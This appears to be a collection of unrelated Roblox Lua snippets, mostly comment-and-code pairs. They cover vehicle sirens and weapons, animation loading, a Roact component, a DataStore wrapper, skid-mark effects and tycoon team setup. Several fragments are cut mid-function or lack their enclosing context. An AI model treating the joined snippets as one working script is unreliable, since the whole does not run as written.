currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed
|
--// # key, ManOff
|
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Man:Stop()
veh.Lightbar.middle.Wail.Volume = 2
veh.Lightbar.middle.Yelp.Volume = 2
veh.Lightbar.middle.Priority.Volume = 2
script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
end
end)
|
-------------------Weapons-------------------
|
if(key == "z") then
show_ammo = true
end
if(key == keys.minigun) and on then
minigun_shoot = true
while minigun_shoot do
if(minigun.left ~= 0) then
getBullet("GunA")
minigun.left = minigun.left -1
end
if(minigun.right ~= 0) then
getBullet("GunB")
minigun.right = minigun.right -1
end
wait(shoot_rate)
end
end
if(key == "f") and on then
if(missile_side == 1) then
if(hydra.right ~= 0) then
Getmissile("LaunchB")
missile_side = 2
end
elseif(missile_side == 2) then
if(hydra.left ~= 0) then
Getmissile("LaunchA")
missile_side = 1
end
end
end
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject ~= nil) then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
|
--Weld stuff here
--Wipers
|
MakeWeld(misc.Wiper.H1,car.DriveSeat)
MakeWeld(misc.Wiper.H2,car.DriveSeat)
ModelWeld(misc.Wiper.Parts1,misc.Wiper.H1)
ModelWeld(misc.Wiper.Parts2,misc.Wiper.H2)
|
--// Functions
|
function spawnTag(L_15_arg1, L_16_arg2)
if L_15_arg1 and L_15_arg1:FindFirstChild('Head') and L_9_.TeamTags then
if L_15_arg1.Head:FindFirstChild('TeamTag') then
L_15_arg1.Head.TeamTag:Destroy()
end
local L_17_ = L_7_:WaitForChild('TeamTag'):clone()
L_17_.Parent = L_15_arg1.Head
L_17_.Enabled = true
L_17_.Adornee = L_15_arg1.Head
L_17_.Frame:WaitForChild('Frame').ImageColor3 = L_16_arg2
end
end
|
--Double Jump Fly
|
local character = main.player.Character or main.player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
local eventsModule = main:GetModule("Events")
if main.device ~= "Computer" then
local bindable = eventsModule:New("DoubleJumped", humanoid)
bindable.Event:Connect(function()
for speedCommandName, _ in pairs(main.commandSpeeds) do
if main.commandsActive[speedCommandName] then
main:GetModule("cf"):EndCommand(speedCommandName)
else
main:GetModule("cf"):ActivateClientCommand(speedCommandName)
end
end
end)
end
return module
|
--This script controls the tyre mark sounds and effects like the skid marks and smoke.
|
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
car.Wheels.RL.SQ.TimeScript.Disabled = true
car.Wheels.RL.SQ.PitchScript.Disabled = true
car.Wheels.RR.SQ.TimeScript.Disabled = true
car.Wheels.RR.SQ.PitchScript.Disabled = true
car.Wheels.RL.SQ.TimePosition = 0
car.Wheels.RL.SQ.Pitch = 0
car.Wheels.RR.SQ.TimePosition = 0
car.Wheels.RR.SQ.Pitch = 0
car.Wheels.RL.Smoke.Rate=0
car.Wheels.RR.Smoke.Rate=0
end
end)
while wait(.2) do
local r1 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RL.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RL.Size.x/1.2))
local r1hit = 0
if workspace:FindPartOnRay(r1,car)~=nil then r1hit=1 end
local r2 = Ray.new(car.Wheels.RL.Position,(car.Wheels.RR.Arm.CFrame*CFrame.Angles(-math.pi/2,0,0)).lookVector*(car.Wheels.RR.Size.x/1.2))
local r2hit = 0
if workspace:FindPartOnRay(r2,car)~=nil then r2hit=1 end
local rl = math.min((math.max(math.abs((car.Wheels.RL.RotVelocity.Magnitude*car.Wheels.RL.Size.x/2) - (car.Wheels.RL.Velocity.Magnitude))-20,0)),50)*r1hit*1.2
local rr = math.min((math.max(math.abs((car.Wheels.RR.RotVelocity.Magnitude*car.Wheels.RR.Size.x/2) - (car.Wheels.RR.Velocity.Magnitude))-20,0)),50)*r2hit*1.2
car.Wheels.RL.Smoke.Rate = rl
car.Wheels.RR.Smoke.Rate = rr
if rl > 1 then
car.Wheels.RL.SQ.TimeScript.Disabled = false
car.Wheels.RL.SQ.PitchScript.Disabled = false
car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = true
car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = true
end
if rl < 1 then
car.Wheels.RL.SQ.TimeScript.Disabled = true
car.Wheels.RL.SQ.PitchScript.Disabled = true
car.Wheels.RL.WheelFixed.Mark.Trail.Enabled = false
car.Wheels.RL.SQ.Pitch = 0
car.Wheels.RL.SQ.TimePosition = 0
car.Wheels.RL.WheelFixed.Mark2.Trail.Enabled = false
end
if rr > 1 then
car.Wheels.RR.SQ.TimeScript.Disabled = false
car.Wheels.RR.SQ.PitchScript.Disabled = false
car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = true
car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = true
end
if rr < 1 then
car.Wheels.RR.SQ.TimeScript.Disabled = true
car.Wheels.RR.SQ.PitchScript.Disabled = true
car.Wheels.RR.SQ.Pitch = 0
car.Wheels.RR.SQ.TimePosition = 0
car.Wheels.RR.WheelFixed.Mark.Trail.Enabled = false
car.Wheels.RR.WheelFixed.Mark2.Trail.Enabled = false
end
end
|
--[[**
ensures value is a table and all keys pass valueCheck and all values are true
@param valueCheck The function to use to check the values
@returns A function that will return true iff the condition is passed
**--]]
|
function t.set(valueCheck)
return t.map(valueCheck, t.literal(true))
end
do
local arrayKeysCheck = t.keys(t.integer)
|
--[[
An internal method used by the reconciler to construct a new component
instance and attach it to the given virtualNode.
]]
|
function Component:__mount(reconciler, virtualNode)
if config.internalTypeChecks then
internalAssert(Type.of(self) == Type.StatefulComponentClass, "Invalid use of `__mount`")
internalAssert(Type.of(virtualNode) == Type.VirtualNode, "Expected arg #2 to be of type VirtualNode")
end
local currentElement = virtualNode.currentElement
local hostParent = virtualNode.hostParent
-- Contains all the information that we want to keep from consumers of
-- Roact, or even other parts of the codebase like the reconciler.
local internalData = {
reconciler = reconciler,
virtualNode = virtualNode,
componentClass = self,
lifecyclePhase = ComponentLifecyclePhase.Init,
}
local instance = {
[Type] = Type.StatefulComponentInstance,
[InternalData] = internalData,
}
setmetatable(instance, self)
virtualNode.instance = instance
local props = currentElement.props
if self.defaultProps ~= nil then
props = assign({}, self.defaultProps, props)
end
instance:__validateProps(props)
instance.props = props
local newContext = assign({}, virtualNode.legacyContext)
instance._context = newContext
instance.state = assign({}, instance:__getDerivedState(instance.props, {}))
if instance.init ~= nil then
instance:init(instance.props)
assign(instance.state, instance:__getDerivedState(instance.props, instance.state))
end
-- It's possible for init() to redefine _context!
virtualNode.legacyContext = instance._context
internalData.lifecyclePhase = ComponentLifecyclePhase.Render
local renderResult = instance:render()
internalData.lifecyclePhase = ComponentLifecyclePhase.ReconcileChildren
reconciler.updateVirtualNodeWithRenderResult(virtualNode, hostParent, renderResult)
if instance.didMount ~= nil then
internalData.lifecyclePhase = ComponentLifecyclePhase.DidMount
instance:didMount()
end
if internalData.pendingState ~= nil then
-- __update will handle pendingState, so we don't pass any new element or state
instance:__update(nil, nil)
end
internalData.lifecyclePhase = ComponentLifecyclePhase.Idle
end
|
--Internal functions
|
function DataStore:Debug(...)
if self.debug then
print(...)
end
end
function DataStore:_GetRaw()
if not self.getQueue then
self.getQueue = Instance.new("BindableEvent")
end
if self.getting then
self:Debug("A _GetRaw is already in motion, just wait until it's done")
self.getQueue.Event:wait()
self:Debug("Aaand we're back")
return
end
self.getting = true
local success, value = self.savingMethod:Get()
self.getting = false
if not success then
error(tostring(value))
end
self.value = value
self:Debug("value received")
self.getQueue:Fire()
self.haveValue = true
end
function DataStore:_Update(dontCallOnUpdate)
if not dontCallOnUpdate then
for _,callback in pairs(self.callbacks) do
callback(self.value, self)
end
end
self.haveValue = true
self.valueUpdated = true
end
|
--Realistic Downforce 2.0--
--//INSPARE//--
--Downforce based on angle--
|
while true do
wait()
speed = script.Parent.Parent.Velocity.magnitude
script.Parent.force = Vector3.new(0, script.Parent.Parent.CFrame.lookVector.Y*(20*speed), 0)
end
|
-----------------------------------
|
ba=Instance.new("Part")
ba.CastShadow = false
ba.TopSurface=0
ba.BottomSurface=0
ba.Anchored=false
ba.CanCollide=false
ba.formFactor="Custom"
ba.Size=Vector3.new(1,0.1,1)
ba.CFrame=CFrame.new(script.Parent.CFrame.p)*CFrame.fromEulerAnglesXYZ(math.pi/2,0,0)
ba.Name="Effect"
ba.BrickColor=BrickColor.new "White"
ao=script.RingMesh:clone()
ao.Parent = ba
local fade = script.RingFade:Clone()
fade.Parent = ba
fade.Disabled = false
ba.Parent=script.Parent
fo=Instance.new("BodyPosition")
fo.maxForce= Vector3.new (99999999999999999,99999999999999999,99999999999999999)
fo.position = ba.Position
fo.Parent = ba
aa=Instance.new("BodyAngularVelocity")
aa.P=3000
aa.maxTorque=aa.maxTorque*30
aa.angularvelocity=Vector3.new(math.random(-70,70)/3,math.random(-70,70)/3,math.random(-70,70)/5)*100
aa.Parent=ba
|
--run this first so if there is a 'white' team it is switched over
|
if not Settings['AutoAssignTeams'] then
local teamHire = Instance.new('Team', Teams)
teamHire.TeamColor = BC.new('White')
teamHire.Name = "For Hire"
end
for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
if returnColorTaken(v.TeamColor) then
--//Handle duplicate team colors
local newColor;
repeat
wait()
newColor = BC.Random()
until returnColorTaken(newColor) == false
v.TeamColor.Value = newColor
end
--Now that there are for sure no duplicates, make your teams
local NewTeam = Instance.new('Team',Teams)
NewTeam.Name = v.Name
NewTeam.TeamColor = v.TeamColor.Value
if not Settings['AutoAssignTeams'] then
NewTeam.AutoAssignable = false
end
v.PurchaseHandler.Disabled = false
end
function getPlrTycoon(player)
for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
if v:IsA("Model") then
if v.Owner.Value == player then
return v
end
end
end
return nil
end
game.Players.PlayerAdded:connect(function(player)
local plrStats = Instance.new("NumberValue",game.ServerStorage.PlayerMoney)
plrStats.Name = player.Name
local isOwner = Instance.new("ObjectValue",plrStats)
isOwner.Name = "OwnsTycoon"
end)
game.Players.PlayerRemoving:connect(function(player)
local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
if plrStats ~= nil then
plrStats:Destroy()
end
local tycoon = getPlrTycoon(player)
if tycoon then
local backup = Tycoons[tycoon.Name]:Clone()
tycoon:Destroy()
wait()
backup.Parent=script.Parent.Tycoons
end
end)
|
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